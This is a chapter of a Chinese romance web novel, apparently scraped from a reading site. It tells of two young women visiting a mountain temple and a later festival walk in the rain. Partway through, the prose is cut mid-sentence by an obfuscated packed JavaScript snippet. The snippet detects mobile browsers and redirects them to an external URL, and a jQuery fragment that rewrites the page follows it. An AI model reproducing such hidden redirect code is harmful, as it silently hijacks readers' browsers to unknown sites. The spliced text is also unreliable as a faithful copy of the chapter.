17. 因缘
作品:《长亭·终不晚》 【本文所提及的单味药、中成药、方剂皆不做疾病参考,若有不适,请及时线下就医,切勿拖延!下方药材注解为百度百科,请勿自行食用!】
木蝴蝶:味苦、甘,性凉。可清热利咽,舒肝和胃,治疗音哑。
席尧抱臂远眺。
四月下旬,草长莺飞,山间一片绿意。石梯上三三两两的都是香客——这个时节踏青已经太晚,偶尔有游人,也都会选择午后再过来。
吴薇背对寺门,坐在小石坎上平复,虽然距落因寺没几步了,但她还是想停下来歇一歇。
目光落在身前背对的利落身影上,满是艳羡。
爬了那么长的石梯都脸不红气不喘……但转念想到这是早起晨练换来的,她的羡慕便烟消云散,开玩笑,沿荷花湖跑一个来回至少要一柱香,有这时间多睡会不好吗?
一阵风吹得席尧发丝扬起,她摸了摸头上的发巾,回头看向石坎上的人,道:“好些了?那就现在进去,早点拜过好回去。”
山上风凉,席尧怕把得了风寒刚好没两天的人又吹出什么好歹,本来她的意思是晚两天再来,反正寺庙就在这又不会跑,但吴薇很坚决,非要今天过来。
这人病里都心心念念要来拜佛祈愿,她拗不过,只好同意。
两人接着往寺庙走去。
落因寺在荣城北边的山上,是离荣城最近的一座寺庙。城北住的达官显贵多,也常往这来,天长日久,寺里的香火便愈加旺盛,寺庙也壮大许多。
寺门后先是一块空地,中央摆着一个巨大的香炉,三柱手指粗的长香插在正中,烟雾徐徐。
炉后沿台阶直上,通向一个平台,然后分作三道,分别通往正殿和两个偏殿。直上为正殿,门前宽阔,亦有平台连接左右殿宇。
席尧立在殿门外往里打量。
正殿中立着好几尊佛像,金粉加身,俯视众人,威严又气派。
但她都不认识。
席尧不信神佛,没进过几次庙,看着这些只觉新奇,见吴薇已找到一个蒲团跪下,便想着到边上看看。
踏过平台上的白砖往偏殿走,里面布局与正殿相仿,但只有其一半大小,可能是这个缘故,佛像就显得比正殿更神圣。
「这世上没有神,人类如此贪婪,这世上怎敢有神」
可是……
席尧扶着殿门眯起眼,看不知哪里照来的光铺在佛身上,金光漫开,映得整个大殿不似凡尘,更让人透不过气。
世人未必不知它们作壁上观,可仍旧跪拜,或许是求心安,又或许,是同此刻的她一样,被这满室的璀璨迷花了眼。
她进殿在蒲团上跪下。
晓晓说得没错,所愿太多,一时竟不知从何说起。
既然如此,席尧双手合十,低头默念。
“愿国泰民安。”
国泰民安,山河永固,世人皆可安稳……你我亦能安稳。
——
吴薇出门没能看见席尧,想到她好奇的样子,转身往正殿后走去。
后面是落因寺修理出来供人赏玩的地方。
吴薇还没来过,边走边看。走过禅房,上了石梯,沿着铺好的小路往后又走了一会,能看到几间木屋坐落在前,再往后,就只剩一望无际的树林。
她停在木屋不远处的小道上,头顶的阳光透过树叶挥洒而下,热得发烫,周围已没见人影,前面肯定更寻不到人。
吴薇转身回走,伸手去掏帕子擦汗。
可是找遍全身都没见到手帕的踪影。
难道是先前被勾掉了?她回忆着不久前行过的窄路,脚步匆匆。
这是席尧送她的,可不能被别人捡走了。
刚跑到窄路,就看见一名男子俯身从树枝上取下什么,吴薇眼尖,看出正是她的手帕,急忙高声道:“那是我的帕子!”
说着几步上前,压开挡路的枝条就要穿过去。
“等等,姑娘要不还是从那边……过来吧。”男子话没说完就看见人已近在咫尺,只好后退几步,待她出来。
吴薇后知后觉地去看几步外无所遮挡的小道,难怪,刚刚走的时候她还在想这些枝条怎么无人清理,感情那边才是正路。
都怪这石板引路只引一半!
她挥开最后两条碍事的枝丫,悻悻道谢接过男子递来的手帕。
“我本也是想捡了看看能不能找到主人,姑娘太心急了,没被枝条划伤吧?”男子打量着她两边衣袖。
吴薇脸红,“没、没事,这衣裳布料挺结实的。”然后赶紧道辞。
——
席尧再次转回正殿,目光焦急,三个殿,里里外外都找遍了,就是没见吴薇,难不成是先出去了?
想着往寺门口看看,就见人从正殿后边拐出来,一碰面便道:“你去哪了!”
席尧瞧她腮边发红,应该跑了挺远,“……我就在偏殿。”
又想到时辰将至,道:“别说这些了,先下山吧,一会赶不上车。”
她们坐马车来,约好了回去的点,要是错过了只能自己走回去。
一时两人都顾不得细问,连跨数阶,拔步往山下去。
“还说你们不回了呢!”车夫正打算返程,看见来人很高兴,忙让两人上车。
车上只坐着一个女客,马车小,她们上去后便将空余的地方填满了。
吴薇喘匀气,点了点席尧的头巾,“幸好赶上了,回去洗了发你还能晒会太阳。”
席尧但笑不语,想的却是幸好不用走着回去了,这丫头身体刚痊愈,还是别消耗过多才好。
马车没走多远又停下,车上三人正疑惑,便听一个客气男声道:“……可否能捎我一段路,只到北门也行。”
车夫犹豫,“车上都是女客,你要愿意和我坐车辕,带你一段也可以,不过价钱……”
“你肯带上我,价钱自然按原来的算。”
于是车上再多一人,继续往前。
席尧肩头一重,偏头去看,“怎么了?”
吴薇把头埋在她肩上,声音含混:“……不舒服。”
“不会是又被风吹着了吧?”席尧抬手把人拥住,“回去我给你熬姜汤,可不能再跟之前一样。”
吴薇生病就是因为自己熬的“姜汤”,糖多姜少——这种东西一般只能叫做红糖水,然后生生从着凉变成了风寒。
*
席尧关上屋门。
外面夕阳斜斜,天色未晚,正好还能出门走走。
今日是端午,下半天放假,吴薇已经回家,她则因为四月末连休的时候回过小姨家了,就这半天懒得再折腾而留在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019309|193549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了小院。
出了院口,正碰上走来的余自成,他不自在地缩了缩脖子,随即扭过头,径自往后面的大院去了。
席尧也当没看见,继续外出。
余可成刚走的那段日子,余自成跟几个常玩的伙计说嘴,被吴薇听见,直接堵到屋门口,连带着先前他的那些心思全翻了出来,他不甘心,后来挑吴薇不在的时候跑到席尧面前说三道四。
没想到席尧看着和气,话里却全是刺,面对悉数被还回来的嘲讽,他只能赤着脸无言以对。
从那以后,余可成就老实多了,见到席尧也成了这副样子。
席尧在店铺后面的空地遇见了曾源。
“要出门吗?”他停步问她。
“去街上沾沾过节的喜庆。”她却脚步不停。
曾源调转步子跟上,“那我跟你一起。”
街上很热闹,能摆摊的地方一串小摊从街头摆到街尾,祈福活动尚未开始,欢声笑语就已经铺开。
两人都对这些不感兴趣,只零散地聊着天,缓步慢行穿过街道。
“对了,你这时候回店里做什么,是又打算在那歇?”席尧问道,曾源家住得不远,一般是耽搁太晚才会歇在仁医馆,但今天明显还早。
反正聊得一句不搭一句,想起来就正好问了。
是怕有人一个人呆在小院里无聊。
曾源避开话,重新抛了一个问题回去:“下午的时候你在院里看的什么?”
也许是有什么不方便说的,席尧没在意,顺着答道:“是之前和薇薇去落因寺的时候买的经书。”
“怎么想起读这个?”
“顺便买的,就当解闷了。”席尧耸耸肩。
曾源的声音里带着明显的笑意,“那不是越读越闷,还是说,从中参悟了什么?”
“那倒没有。”席尧也笑起来,心不静也不诚,能悟出什么,“读着读着就觉得有意思了,佛家说轮回,什么‘前世今生皆有缘,有缘才有聚散’……”
曾源偏头去看侃侃而谈的人。
她在女子中算是高挑,只比他低了半头,能见到她流利的侧脸和挺起的鼻梁。
比正面更多几分英气。
女子忽而转头看来,无奈道:“我自己的想法而已,你不认同也不必这样看我。”
曾源笑着,假装平静地移开眼光。
有雨丝落下,渐渐变为雨滴,席尧伸手过头去遮挡,“怎么下雨了,到屋下躲一躲吧。”
避去檐下,她拿出手帕细细把肩头的湿意都擦去。
席尧今天穿的是轻粉褙子配莲红褶裙,袖口和后背铺了大片的荷花刺绣,此时动作,宛如流动的荷花盛景。
曾源随手将沾在衣服上的水滴拍去,心里想着,等过段时间后院的荷花开了,她穿这身去赏荷,一定很应景。
最后一缕阳光隐去,天色慢慢转暗,席尧想起晓晓说的,笑着对身边道:“下雨了,收太阳了。”
女子笑意盈盈,将曾源从思绪中拉出,街上零散的声音又回到耳中。
他曾觉得这世间很没意思。不喜欢官场,也不想走别人铺好的路,所以没有随父从政,而是换了一条路走。
可是没想到,走在这条路上,反倒遇见了几个妙人。
还有不仅仅是妙人的人。

